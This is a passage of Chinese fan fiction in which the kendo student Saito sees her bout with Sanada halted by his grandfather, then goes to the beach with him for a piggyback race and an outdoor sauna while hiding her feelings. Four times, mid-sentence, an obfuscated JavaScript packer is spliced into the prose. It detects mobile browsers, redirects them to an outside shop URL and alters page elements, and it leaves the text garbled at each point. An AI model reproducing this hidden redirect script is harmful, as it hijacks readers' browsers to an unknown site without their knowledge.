而斋藤则因为那一刺的教训,行动变得比任何时候都更加慎重,却也消耗着巨大的心力。 渐渐地斋藤感觉到自己的集中力因为长时间的专注以及身体的疲劳变得涣散。 然而,让她感到惊讶的是,对面那个本该是体力怪物似乎也慢了下来。 原来……他也会累吗? 这个念头,刚从斋藤的心底浮起,立刻就被另一个更让她无法接受的念头所取代。 还是说,他又在让着我了—— “停!” 一声如同惊雷般的怒吼从道场门口传来,打断了两人的战斗,虽然真田老师对斋藤说,没人会打扰他们比试,但是此刻用恨铁不成钢的失望眼神瞪着两人的,阻止他们比试的正是—— “真田老师?” “祖父大人?” 带着面具的两人异口同声地说。 “你们俩再这么耗下去也不会有什么结果的。” 比试,就这样被强行中止了。 行完礼后,斋藤与真田并肩,正坐在地板上,摘下了面具,等待着长者的教训。 “弦一郎!我以为你会在5分钟内拿到二本。你真太让我失望了!” “非常抱歉!”真田深深地低下头,声音里是毫无辩解的愧疚。 斋藤想,原来真田老师一直押的是真田的胜利。 真田老师忽然看向低着头正失落的斋藤。 “斋藤君,即便你累了,刚才弦一郎有那么明显的空位,你看不见吗!” 那声音同样严厉,不带半分因为她是客人而有的宽容。 “我知道了!”斋藤的身体一震,下意识地用尽全身力气,大声回应。 真田老师看着眼前这两个低着头的年轻人,扔下一句“你们,还有太多东西要学”,便转身,拉上门,离开了房间。 道场里,再次恢复了寂静。 “真田君,” 斋藤打破了沉默,她的声音里,却完全没有了刚才的失落,反而带着一种如同孩子得到了糖果般的兴奋,“刚才那个…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487306|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是真田老师,在亲自指导我吗?” 听到斋藤这句,与现在这个反省大会气氛格格不入的兴奋的发言,真田沉默了片刻。 然后,他抬起手,用握紧的拳头,不轻不重地,在斋藤的脑袋上敲了一下。 斋藤被敲得一愣。 她忽然觉得,真田此刻的这个行为,与其说是在发泄愤怒或者表达不满,更像在修理出了故障没办法正常运作的机器。 识趣的斋藤没有和真田继续交流,而是顺势闭眼休息,调整呼吸,而她通过声音了解到真田似乎起身走出道场,过了一会,又回到了斋藤的身边。真田的脚步声让斋藤好奇真田做了什么,于是睁开了眼睛,而她刚睁开眼,就撞上了真田的视线。 他正盯着她看。 她惊叫一声,猛地向后缩去。视线慌乱地投向别处,双手下意识地叠放在胸前,摆出了最戒备的防御姿态。她并不讨厌真田的注视。正相反,正是那一瞬的悸动,让她看清了自己的心。 她喜欢上了真田。 真田似乎也被她突然的反应吓住,愣了一下。 “请问……有什么指教?” 斋藤红着脸顶着羞涩开口。语气却因为慌乱而不够温和。作为剑士,她厌恶自己这种不冷静的样子。 真田迟疑片刻,从一旁拿出一条干净的毛巾,递了过来。 斋藤迅速接过,将干燥的毛巾盖在自己的脸上。以此来掩盖她那已经彻底失控的、不自然的脸色,和那份再也藏不住的、名为“喜欢”的心情。但是毛巾上残留着的真田的少许气息,让她的身体也燃烧了起来,把她推向了因羞恼而即将情绪爆发的边缘。 她紧紧地攥着那条毛巾,拼命压抑着想要尖叫的冲动。 冷静点!这里是道场,要有敬畏之心,不要胡思乱想! 正是这句话,让斋藤迅速振作,回到剑士的状态。她松开了紧攥的毛巾并放下,平稳呼吸,将新鲜的空气灌入胸口。 从另一个角度想,在刚才的比试中,在那份心意被点破之前,她竟然能够毫不犹豫地,向那个喜欢的人挥出剑。 为了胜负,拼尽了全力。 这至少说明她并不是一个失格的剑士。 那么真田呢,斋藤思忖着,真田是抱着什么样的心情对自己挥剑? 一定也是以“必须赢下她”的心情在行动吧。 想到这里,斋藤反而意外地轻松了。只要她继续保持这样的冷静,真田就绝不会察觉,她对他怀有超越友谊的情感。 “你在笑什么?”真田的声音,冷不丁地从旁边传来。他也在一旁正坐在地板上,用毛巾擦脸,没她有正眼看她,用余光捕捉到了转瞬即逝的笑意。 “因为我在想真田君原来也会松懈啊。”斋藤故作轻松地说着。 “我哪里松懈了!”真田的声音瞬间拔高了几分,眉毛紧紧地皱了起来。 “我摔倒的时候你完全可以轻松拿下一本的,但是你却错失机会了。‘真是太松懈了’!”斋藤学着他的语气,把真田的口头禅原封不动地抛了回去。 “那时候,我怎——” 真田的话戛然而止,最终只是闷声道:“算了。” 他那带着别扭的语气,让气氛陷入了沉默。斋藤以为大概两人会一直在这样的氛围中,直到分别。 然而,真田却突然叫着斋藤的名字。 “斋藤君,” 他的视线透过敞开的拉门看着因为烈日照耀而曝光发白的庭院,“要和我一起去海边吗?我们很久没有一起去了。正好比赛结束我们应该都有时间。” 真田这句突如其来的邀约,让斋藤那好不容易才平复下来的心跳,再次剧烈地鼓动了起来。 去海边。两个人。 这个念头,让她的脸颊瞬间有些发烫。但是因为真田用“很久没有一起去了”刻意强调了过去,她也想到曾经和真田去海边游玩的经历,以及一些微妙的回忆,让她瞬间冷静了不少。 “好啊,不过我过两天就要回东京。”斋藤用平日里闲谈时的口吻回应。 “那明天怎么样。”真田几乎是立刻接口。 “好。”斋藤点了点头。 下午,斋藤来到购物中心,她此行的目的很明确,真田突如其来的邀约,让她意识到自己的衣柜里确实缺少一件像样的泳衣。 然而当她路过体育用品商店那明亮的橱窗时,脚步却不自觉地停了下来。橱窗的正中央的塑料男模特,穿着新款的网球套装,手上拿着的网球拍。 斋藤凑上去,观察着人形模特手中的球拍。 ——不是真田用的那款。 上午她算是输了比试。而那个用“胜负”来强迫他接受新球拍的作战计划,也因此暂时搁浅了。 斋藤叹了口气,她收回视线,转身向着商场那些挂着漂亮泳衣的店铺。 34. 去海边 午后的阳光,正值一天中最毒辣的时刻,毫不留情地炙烤着大地。 即便斋藤和真田是顶着太阳的最高点抵达海滩,也丝毫没能避开汹涌的人潮。放眼望去,沙滩早已被五颜六色的遮阳伞、沙滩垫和密密麻麻的人浪彻底淹没。斋藤来到海边的更衣室里换上了昨天买的泳装。 身边年轻的女孩们叽叽喳喳地讨论着防晒霜的倍数和等会儿要去“海之家”,空气中弥漫着适合少女的芳香气味和防晒霜的味道。她们换上了精心挑选的,或可爱或性感的泳装。 斋藤在隔间里,默默地换上了昨天新买的泳装。 她想起了陪山田逛书店时无意中瞥见的那些少女时尚杂志的封面标题: “夏日海滩决胜服!用终极魅力,击中他的心!” “击中他的心”这个前提,首先,得对方有心可“击”。而真田的心可是相当地冥顽不化。 所以斋藤昨天在泳衣店经过深思熟虑,选了现在身上这一套——便于活动的海军蓝色运动背心加上平角短裤,相当保守的款式。 她甚至还套上了一件纯白色的、带拉链的可以下水地长袖防晒外套。 从头到脚没有任何一处可以被指为“松懈”。 斋藤看着镜子里的自己,脸上没有丝毫即将与“喜欢的人”去海边的、属于普通少女的雀跃或羞涩。 她无奈地想,只要能让真田对她的这身打扮产生不了任何多余的感想,那就是她的胜利。 斋藤刚从更衣室里出来,还没来得及适应海边那耀眼的阳光,她的视线就被人群中一个极其显眼的存在给牢牢地捕获了。 那是一抹,如同烈火般燃烧的、鲜红的颜色。上面用苍劲有力的笔法,写着四个她再熟悉不过的大字“风林火山”。 而这承载四个字的,是一条兜裆布。 果然是这样。 这也正是她今天无论如何都无法像其他女孩那样,对“海边约会”产生兴奋感的另一个“微妙”的理由。 记忆被拉回到了过去。 那是一次两家人约好的一起的海边出游。当时,还只是个小学生的真田,不知为何,就穿着那么一条兜裆布出现在了斋藤的面前。 他的脸上充满了不容置疑的自豪,用一种“你一定能懂”的期待的眼神看着她。 “同为修习剑道之人,你是可以理解的吧!这份追求身体与精神最大程度自由的觉悟!” 语气非常理所当然。 斋藤看着他,然后露出了一个最完美的、无可挑剔的微笑,并向他缓缓地竖起了一根大拇指。 但那一刻在她内心深处正用尽全身力气,发出声嘶力竭的呐喊: “完全不明白!” 她连兜裆布到底是从前面穿还是从后面绕都不知道。更何况是去理解把它穿在身上,到底需要一种什么样的、高深的“觉悟”啊! 之后斋藤就以“精进剑道”这样无法辩驳的理由彻底拒绝了真田的下次海边的邀请。 而真田直到昨天之前也再也没有邀请过她。 真田似乎注意到了站在更衣室门口、仿佛失了魂的斋藤。他用力地挥着手臂,一边大步向她走来。 “你愣在这里做什么?” “啊……真田君,”斋藤被他的声音惊得回过神,身体下意识地向后退了两步,与他那身过于惹眼的装束拉开安全距离,同时顺势找了个借口,“我想海之家借一把遮阳伞。” “遮阳伞?”真田闻言,皱起眉头,用一种“你该不会又想这样吧”的语气说道,“你不会又打算像小时候一样一个人躲在伞底下玩一整天的沙子吧。” 玩沙子…… 那又是哪一年的事了? 那一年,还是个小孩子的斋藤,穿上了时下最流行的,带着层层叠叠裙边的,无比可爱的连体泳衣。 她在真田面前,她用期待的眼神看着真田,希望能从他口中听到一句夸奖。 哪怕不是夸奖“她”,只是夸奖“这件泳衣”也好。 结果,真田只是用审视的眼神打量她,然后给出了他那最诚实感想。 “一点也不适合你。 受到打击的斋藤,最终以身体不舒服为由,用浴巾将自己从头到脚裹得严严实实,一个人在太阳伞的阴影下默默地挖了一整天的沙子。 “——怎么可能,真田君,拜托你先去找个位置。” 斋藤闷声回答,她懒得向真田解释更多,将从包里拿出沙滩垫递给真田,自己独自前往海之家,把真田抛在身后。 斋藤抱着那把租来的、颜色鲜亮的太阳伞,穿梭在沙滩上密密麻麻的人群中。 热浪扑面而来,夹杂着海风和各种喧闹的人声,让人感觉有些眩晕。 然而即便是在这片嘈杂的人海里,真田的存在也依然是如此的显眼。他那远超同龄人的高大身材,以及那抹如同烈火般燃烧的“风林火山”兜裆布就像一块巨大的、无法忽视的活体看板,让斋藤几乎毫不费力地就锁定了准确位置。 真田看到斋藤走过来,没有多说什么,只是沉默地接过她手里的太阳伞,帮忙架了起来,待伞架好,斋藤坐在伞的阴影之下,从包中拿出防晒乳涂在自己身上,而在站在一旁无事的真田看了看斋藤,又看了看远处熙熙攘攘的海之家。 “我去买些水过来。”真田说,不等斋藤回应,他便转身朝着海之家的方向走去。 几秒后一个人的阴影凑到伞的圆形阴影的边缘。 “真快啊,真田君——” 斋藤抬起头,话说到一半,却硬生生地卡在了喉咙里。 眼前,并不是真田。 来人是一个穿着花哨夏威夷衫、染着一头惹眼金发的年轻男子。他大概是这里的常客,被海边的烈日晒出了一身黝黑的健康肤色,脖颈附近因为衣领的遮挡,还有着非常明显的色差。 “小姐请问你是一个人吗?”与轻浮的外表不同的是,男子的语气意外地很恭敬。 “不是。”斋藤警惕地说,手下意识地放在身侧真田的沙滩垫上。 “哦,那么,这位小姐,”男子显然没有被她的冷淡吓退,反而更加热情,“您愿意和您的伙伴,一起参加我们海之家今天下午特别举办的‘沙滩背人跑’活动吗?” “抱歉,我没有兴趣——”斋藤斩钉截铁地拒绝。 “斋藤君,你在被搭讪吗?”真田的声音恰在此时从斋藤的身后传来。他手里拿着两瓶矿泉水,看着眼前这个与斋藤对峙的金发男人,眉头不自觉地皱了起来。 “啊,这位就是你的伙伴吗?” 金发男人无缝地将刚才与斋藤的对话,衔接到了刚出现的真田身上,脸上堆满了灿烂的笑容。 “先生你好,请问你对背人跑的活动感兴趣吗?” “背人跑?” “是的!就是由您背着您的朋友,在我们沙滩上设置好的赛道上,进行一场汗水与羁绊的赛跑比赛!”男人嘴巴快速地翻动着,像在念一段广告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487307|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 词。 “一定要背着吗?”真田认真地问。 “不一定,你要是想一只手拎着也没问题……如果单手就能拎动的话。” 男人看了一眼坐在沙滩垫上的斋藤,斋藤忽然有种被男人说是“重”的冒犯的感觉,但是她的体重非常标准,在标准的体重面前真田力气再大,要一只手拎着跑也不可能。 “好!”真田握拳摆在胸前,干劲十足,“我们参加这个比赛吧,斋藤君!” 与男子“任务完成”的轻松表情相对的是,斋藤彻底愣住了。 斋藤站在起点线前,视线扫过眼前那条用彩旗和绳索勉强勾勒出的、狭长而又充满了各种沙丘、小旗杆和游泳圈障碍的赛道。 她注意到,因为是旺季,午后沙滩的人流已经达到了顶峰,根本没有足够的空间让多人同时进行比赛。所以比赛方式也理所当然地变成了计算单组时间的挑战赛。 目光向上,落在比赛活动的招牌上,有几个字被简单粗暴地用一块宽大的胶带盖住了。但从胶带边缘露出的字迹,依然能隐约辨认出这个词是“情侣”。毕竟情侣现在的定义也很广泛,而且万一是两个性别一样的好友也想参加比赛,总不能拒之门外。 当然也有斋藤和真田这样的异性好友。 正因为这样,真田现在才会一丝不苟地做着热身运动,而斋藤也不见到真田尴尬害羞然后主动退赛的模样。 如果他现在突然意识到自己和她的组合,会被周围所有人都当成一对‘情侣’,他会是什么表情? 会不会难得一见地主动选择退赛? 她甚至有些期待能看到他那张万年不变的一本正经的脸上,出现困扰和动摇的痕迹。 那样稀有的场面,如果能看到的话…… 好像也不错。 结束热身的真田,向那个金发的男人示意自己准备完毕,斋藤瞬间被拉回了现实,心脏不受控制地狂跳起来。 真的要背吗? 那种会直接触碰到彼此肌肤的、毫无保留的肢体接触,是完全避免不了的。 想到这里,斋藤下意识地微微缩起了身体,仿佛这样就能让他听不见自己的心跳声。 “准备好,斋藤君!” 他的语气像是在下达重要的指令。 真田几乎没有给斋藤任何反应和准备的时间。他俯下身,不是她想象中那种,等待她趴上来的温柔姿态,而是压低了上半身,同时他的手臂迅速地环住了斋藤的腰间。 斋藤只感到一股无法抗拒的巨大的力量迫使她的双脚瞬间就离开了地面。 她的身体被猛地向上抬起。视野在一瞬间上下颠倒。 她整个人已经被真田,以一种极其稳固的姿势扛在了他的一侧肩膀上。 斋藤无力地,像一个袋子挂在了真田的肩上。 双腿在空中无助地晃荡,手臂也不知道该往哪里安放。 她的脑海里,一片空白。 那些所有属于少女的浪漫幻想,都在这一刻,被他那硬邦邦的、硌人的锁骨磕得粉碎。 她能感觉到真田跑得很快,沙地在他脚下,仿佛都变成了坚实的赛道。 但是,又不够快。完全不够快到能让她在下一秒,就从这个充满了公开处刑意味的、尴尬到极致的场景里,解脱出来。 “呜呼!兜裆布小哥,冲啊!” 站在赛道旁的、那个夏威夷衫的金发男人,正拿着秒表,用尽全力地为真田大声喝彩。 35. 户外桑拿 斋藤放弃了思考。 她数着真田在沙地上留下一个个脚印,希望下一步就是最后一步。 但是到达终点的那一刻遥遥无期。 于是她放空了自己的灵魂,任由它轻飘飘地从这具躯壳里脱离出来,四处漂流。 她的灵魂,飘在了半空中。 它看见终点线上,那个名为“真田弦一郎”的少年正兴奋地举起了胜利的拳头。 而与他形成鲜明对比的——那个名为“斋藤”的、被他刚刚才从肩膀上“卸下”的躯壳,正脸色苍白地、仿佛还没找回自己魂魄般地,站在他的身边。 “恭喜你们!打破了本店的最高记录!奖品是——” 无非就是海之家的优惠券,或者纪念浴巾之类的、常见的奖励吧。只要等他报完奖品,这场噩梦,应该也就结束了。 斋藤的灵魂冷静地思考。 “——以及,本店最新推出的露天桑拿,一小时免费体验券!” ……海边露天桑拿? 那是什么东西?桑拿,不是在浴室里才有的吗? 这份超出了她全部人生常识的、巨大的惊愕,像一道闪电,狠狠地击中了那具沉睡的身体。 斋藤瞬间回神。她猛地抬起头,用一种充满了困惑、震惊眼神,望向了那个笑得无比灿烂的主持人。 “……这就是露天桑拿?” 斋藤僵在原地,目光死死盯着眼前这个用防水布搭建而成的简陋棚子。 居然不是木制小屋,而只是个临时帐篷? 为了区别于普通帐篷,四周特意镶上了透明薄膜,做出仿佛窗户的效果。可在斋藤看来,这根本不像窗,而更像透明的栅栏。她可以想象,一旦走进去,就会像被锁进笼中的动物,被外头的人群随意观赏。 斋藤正在从窗子里,看着里面正坐着的满面红润,一脸享受的人。 “真不错的奖励啊!”摘下帽子的真田却兴致盎然,盯着这间几乎与他身高齐平的棚子,眉眼间透出胜利者的得意。 斋藤眯起眼,牙关轻咬着下唇,汗水顺着鬓角滑下,却不知是热意还是无语的冷汗。她偷偷侧过脸打量真田,想着她大概是因为赢了才心情好,对这所谓的“露天桑拿”的寒酸模样全然不在意。 这个奖品绝对是糊弄人的,一点诚意也没有。 斋藤在内心笃定。 “海边露天桑拿……真好啊……”路过的中年大叔感慨。 “妈妈我想进那个里面玩!”路过的小孩指着篷子,拉着母亲就想往棚子里冲。 这露天桑拿房居然很受欢迎?! ——即使这棚子再怎么受欢迎,斋藤还是不想在这么简陋的小空间里待上一小时。 “那个,真田君,” 斋藤僵硬地转过头,看着身旁那个,一脸欣喜的真田。 “你不觉得,在海边露天桑拿……很,很奇怪吗?要不然,我们就不要……” 然而,真田没有给她把“拒绝”的理由说出口的机会。他直视着斋藤,像是在确认一个重要的事: “斋藤君,你有体验过桑拿吗?” “没有。”斋藤干脆地回复。 真田皱了皱眉,那副表情,仿佛斋藤错过了什么人生中极其重要的体验,他低声念叨了一句:“真可惜啊。” 可斋藤听着他那句遗憾的低语,全身的汗毛都竖了起来。她一点也不觉得这有什么可惜的。 真田完全没有在意斋藤刚才与不安犹豫,反而郑重地对她发出邀请,“那就乘此机会,体验一下吧。” 说完,他便不再理会斋藤那僵硬的表情,径直走到那个矗立在沙滩上、看起来无比诡异的“露天桑拿棚”前握住了拉链。 “唰——” 拉链被拉开了一小半,一股混杂着潮湿滚烫的热浪从棚内扑面而来。 然而就在这时,真田的动作却突然停顿了一下。 斋藤屏住呼吸,下意识以为他终于听懂了自己的拒绝。可下一刻,真田转过头来,声音坚定而冷静。 “斋藤君,里面的温度和湿度都很高,如果觉得不舒服,就立刻出来。” 对此,斋藤只能大口叹气,将胸口不满全部吐出,然后猛吸一口户外的清爽空气,用像是踏上不归路般的决绝,进入眼前这个闷热潮湿的空间。 棚子里的空间比斋藤要想象的要大上不少,角落的像是烤架一般的金属器具。 真田弯下腰低头钻进狭小的桑拿房,在木制的便携凳上干脆利落坐下。他随手拿起放在一旁的白桦枝条,转过头对斋藤小声地说道: “在桑拿房里,用白桦枝抽打身体,可以放松肌肉,促进血液循环。” “是……” 坐在真田身边的斋藤心不在焉地应了一声,目光却飘向透明薄膜外的景色。远处是晃动的海面,近处有行人喧闹的身影。 这时,斋藤从脖子上取下毛巾,双手抓住长边,像模仿海浪拍打似的挥动起来。毛巾呼呼生风,带起一股热浪扑面而来。 “还有,在里面这样挥舞毛巾,就能制造热浪,让温度更高。” “这样吗……” 斋藤叹了口气,只得照着他的动作胡乱挥了两下。 真田用力点头,微微挑起的嘴角是他在赞赏着斋藤敷衍的行动。 而斋藤因为真田的笑容,开始认真地挥动着毛巾。 好累! 停下动作的斋藤垂着头闭着眼,长长地舒了一口气。 桑拿房的热气弥漫,空气闷热潮湿,真田双手交叉在胸前,即便是坐着,高大的身形在这温暖逼仄的空间里尤为显眼。汗水从额头滑落,顺着坚实的下巴滴下。他依旧保持着双手交叉的姿势,眼睛闭着,似乎完全适应了桑拿的炎热。 看着真田享受的样子,斋藤从今早开始累计的不快全部消失了。 她感叹自己现在居然能够这么轻易地原谅他,恋爱脑还真可怕。而真田一早上的行为都在证明,他真的把斋藤当作朋友。 朋友。 斋藤内心复杂地咀嚼着“朋友”这个词,就像咀嚼过头的口香糖,味道早已散尽,却成了一个难以丢弃的黏腻团块。她明知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487308|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个名字已经失去了最初的香甜,却始终舍不得扔掉——毕竟,正是它,让她和真田的关系维持下去。她不愿去想,如果失去了“朋友”这个词,他们之间还会剩下什么。既然决定不丢掉,就继续下去吧,斋藤想。无论多么伤春悲秋也解决不了问题,这个团块她还得接着嚼下去,直到真的找不到其他办法为止。 过了一会,斋藤感觉自己的大脑在持续不断地膨胀着,每一次跳动,都伴随着一阵闷闷的、钝重的刺痛。 她不知道到底过了多久。时间在这样的高温密闭空间里被无限拉长。 她的嘴唇因为干燥,已经抿得发白,表皮变得粗糙。 她拿起手边那瓶早已被热气烘烤得温热的水,仰头灌了一口。然而涌进嘴里的只是温水,不仅完全不能驱赶体内的暑气,反而让喉咙深处的干燥变得更加强烈。 桑拿房里炽热潮湿的空气,搅动着,撕扯着她那引以为傲的理智。 她感到头晕目眩,耳边嗡嗡作响。呼吸声也开始变得粗重而急促。这在平时是绝不可能的,她总能在任何时候保持冷静,从不允许自己显得这样狼狈。 现在从这里走出去,她就输了。 斋藤想。 输?输给谁? 身边毫不在意别人眼光,坦然穿着兜裆布,一脸享受这地狱般热度的人? 不对,输了,已经输了。斋藤失落地想着。 在剑道上是这样,现在也是这样。甚至她的心,被他夺走了。 那干脆现在投降,然后自己出去。 出去了能做什么? 说好的一起去海边,那不就变成她一人吗? 斋藤低下头,汗水顺着脸颊滴落,模糊了眼前的视线。明明觉得自己早该站起来离开,可她却一点也不想动,甚至有点希望时间可以停在这里,停在他就在身边的这个瞬间。 被汗水浸透的外套紧紧贴在斋藤的皮肤上,每一次呼吸都像被布料束缚着。她心里闪过一个念头——只要脱掉外套,应该就会好一点。 外套滑落肩头的瞬间,背脊像是终于得到伸展,裸露的肌肤触碰到空气,带来短暂的解放感。 可这样的感觉却稍纵即逝。 高于体温的热浪依旧死死压在胸口,令她根本无法顺畅呼吸。胸腔一阵阵发紧,她张了张嘴,却吸不进足够的空气。 就像被困在一个蒸腾的囚笼里,她感觉自己快要窒息了。 “——藤!” 斋藤感觉有人在远处叫着自己的名字。 “斋藤!” 真田充满热度的手握住斋藤肩膀白皙的肌肤上,然后摇晃着。而斋藤现在只能感觉自己的大脑快要摇成液体了,这让她的脸色变得更加苍白,双目紧闭,喉间传出了痛苦的呻吟。 “真是的”见斋藤身体出现了状况,真田抓住她的手腕,把她拽出了桑拿棚。 斋藤张了张嘴不知道说些什么,但热浪袭来让她连开口的力气都没有了。她默默跟着真田走出桑拿房,仿佛刚从蒸笼里逃出来一般,被外面的海风一激,忍不住长长地吐出一口气。 36. 暑假结束 真田站在旁边,看着她狼狈的模样,冷冷地说:“你早该出来了。”但是抓住斋藤手腕的手没有松开。 “我知道了。”斋藤声音有些发闷。 真田拉着斋藤来到之前占好的位置,命令斋藤在伞下好好地待着,然后独自去了海之家。 躲在阴影下的斋藤凝视着不远处拍打海岸的白浪,目光有些恍惚。失水的身体终于开始抗议,喉咙发干,四肢也有些发软。 她深吸一口气,将外套重新披在身上。布料贴在仍带着湿意的肌肤上,闷热得让人难耐,却比裸露在空气中更让她安心。 顶着炽烈的阳光,她迈步走出阴影,脚下的沙滩因为反复踩踏而被压实,踩上去硬硬的,带着灼人的温度。一步一步走向翻涌的海岸线。 当脚背触到海水的瞬间,周围的喧闹声仿佛被隔绝开来,只剩下浪花拍打的声音。那股并不算冰冷,却足够带来的凉意并顺着皮肤蔓延,瞬间驱散了大部分的燥热昏沉。 斋藤的意识,此刻没有任何矛盾或挣扎,她的注意力被完全吸引。脚趾一点点陷进湿润的沙地,那种细腻又黏滞的触感,让她忍不住想用手指也去体会。 她缓缓蹲下,伸出食指,用力地插进了被海水浸透,异常紧密的沙地深处。 指尖与沙粒摩擦着,对抗着,忽然她生出一个冲动,她想在这片沙滩上,留下只属于自己的印记。 于是她画了一个倒过来的鱼钩,当她想着画对称的另一半的时候,一道浪花打了上来,海水末过指尖,指尖在水中变得扭曲,一股力量阻止斋藤继续画下去。 海水退去后,只留下一片潮湿的沙地。 突然眼前被一片阴影所笼罩,有什么东西不容分说地盖在了她的头上。 “哇!” 斋藤被这突如其来的触感吓了一跳,慌张地抬起手在头顶胡乱地挥舞着,同时有些狼狈地转过身向后抬起头。 因为向上的视线被遮挡,她只看见了一片熟悉的、如同火焰般的鲜红色。 为了确认,她摸着头上的笼罩。 是真田的帽子,真田不知何时站到了她的身后,手上拿着一瓶带着水汽的运动饮料。 “——你应该在阴凉的地方待着。” 真田的声音带着明显的恼怒,从她的头顶正上方传来。 “……只是想用海水清醒一下。” 斋藤站起身,声音因为中暑,身体缺乏水分变得有含糊不清,干渴的喉咙让她的语调也变得有些软绵绵的,与她平日里的清亮有力截然不同。 听着这不像是从斋藤嘴里发出的声音,真田皱眉,立刻将手里瓶装饮料的瓶盖拧松递给斋藤。 斋藤毫不客气地仰起头,将瓶中的清水灌进体内。冰凉顺着喉咙滑下,彻底冲散了胸口的燥热。直到这一刻,她才真正体会到什么叫“重生”的感觉。 “好像……”斋藤放下瓶子笑了笑,“立海大的皇帝一直在给我递水……在社团里,恐怕也只有别人把水递给你,而不会轮到你递给别人吧……” “你是热糊涂了?” 真田挑眉反问,语气冷硬,却带着一丝不解。 “……我的意思是,”斋藤低下头,指尖紧紧捏着瓶身,“我感觉非常荣幸。” 面对斋藤吐出的前言不搭后语的碎片,真田叹了口气。 “……下次别这样了。” “嗯。”斋藤低低应了一声,装作毫不在意地看向别处,“反正,一起露天桑拿这样的体验也没下次了吧。” 真田听到这话,嘴唇微微的张开,似乎想说什么,忽然他目光下移,落在她锁骨上的红色印记上,“脖子,没问题吗?” 斋藤摸了摸那个印记。她抬头看向真田,笑着说:“请不用担心,一点也不疼。” 说完,她的手停留在锁骨上,指尖似乎感受到那片肌肤的微妙热度——不知是因为昨天的比试,还是此刻真田的目光。 “而且这个印记时间留长一点也好……”她低声补充,语气平淡,却带着一丝难以察觉的迟疑。 真田愣了一下,抬眼看她,眉头皱得更深了:“为什么?” 斋藤低下头,眼神有些飘忽,像是在躲避他的注视。“这样我就能记住自己为什么输了比赛。” “为什么?”真田有些困惑地问。 “我不该轻敌的——疼!” 话音未落,斋藤的脸颊突然被一只大手用力地捏住了。 “为什么突然捏我的脸!”斋藤只是用语言抗议着,但没有挣扎,没有用身体去反抗真田的突然行为,她默默地承受着,因为在她内心深处,早已默认真田这么做一定有他的理由。 “——你居然敢小看我。”真田的声音是从牙缝里挤出来的。 “我才更应该生气!”斋藤的声音比刚才更大了,“我可是比你更努力地练习剑道,还没办法从你那拿下一本!” 听明白了斋藤话语里的不甘与委屈,真田那捏着她脸颊的手,力道瞬间就松了。 他像是被烫到一样收回了手,陷入了短暂的沉默,然后他忽然开口:“……我也没能拿到第二本,没必要那么在意——” “我当然在意!” 斋藤抬起头,神情认真,声音坚定。 “只要是比试,我都会认真对待的。” 真田与斋藤的视线交汇,她顿了一下,然后目光望向广袤的海面:“‘在交锋中学会珍惜’,无论是对手还是比试的过程,我都会好好珍惜。” “在交锋中学会珍惜吗……”真田低声重复着斋藤的话,目光在她锁骨上的红印与她的脸之间游移。 被真田盯得有些不自在,斋藤将头上的帽子往下压了压,真田却抓着帽檐将帽子掀起。 “帽子我就拿回来了。” 帽子从头上拿开的瞬间,瞬间涌入的阳光刺地斋藤睁不开眼睛。斋藤下意识地想拿回真田的帽子,无意中碰到了真田的手。她觉得真田的跟太阳一样炙热,一下子把手收了回去,将防晒服的帽子盖到自己的头上。 “还不舒服吗?要不然我们回去吧?”真田一边调整帽子,一边询问斋藤的想法。 “不用!我自己去休息就行了,真田君你可以继续玩!” 面对真田的担忧,斋藤顶着一张晒伤了一样红透的脸,像不领情一样转身回到休息点。 午后的阳光不再那么灼人,但空气里依旧残留着蒸腾的热意。海风带着咸湿的气息拂面而来。 结果真田没有抛下斋藤独自玩乐,十几分钟后,他换好衣服来到在伞下休息的斋藤身边,命令斋藤早点回去休息。 “——反正到最后你还只是待在沙滩上玩沙子。” 回去的路上,真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487309|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田向斋藤抱怨,语气里带着不甘与不尽兴。 “才没有,”斋藤立刻摇头,很认真地为自己辩解,“我只是因为身体不舒服休息而已。” “那有什么区别?结果不还是一样,都耗在遮阳伞下面了。”真田的语气依旧强硬,甚至带上了点教训的口吻,“特意来到海边,却完全不感受大海的魅力,这和待在室内游泳馆有什么两样?” “那就约好我们明年再来!” 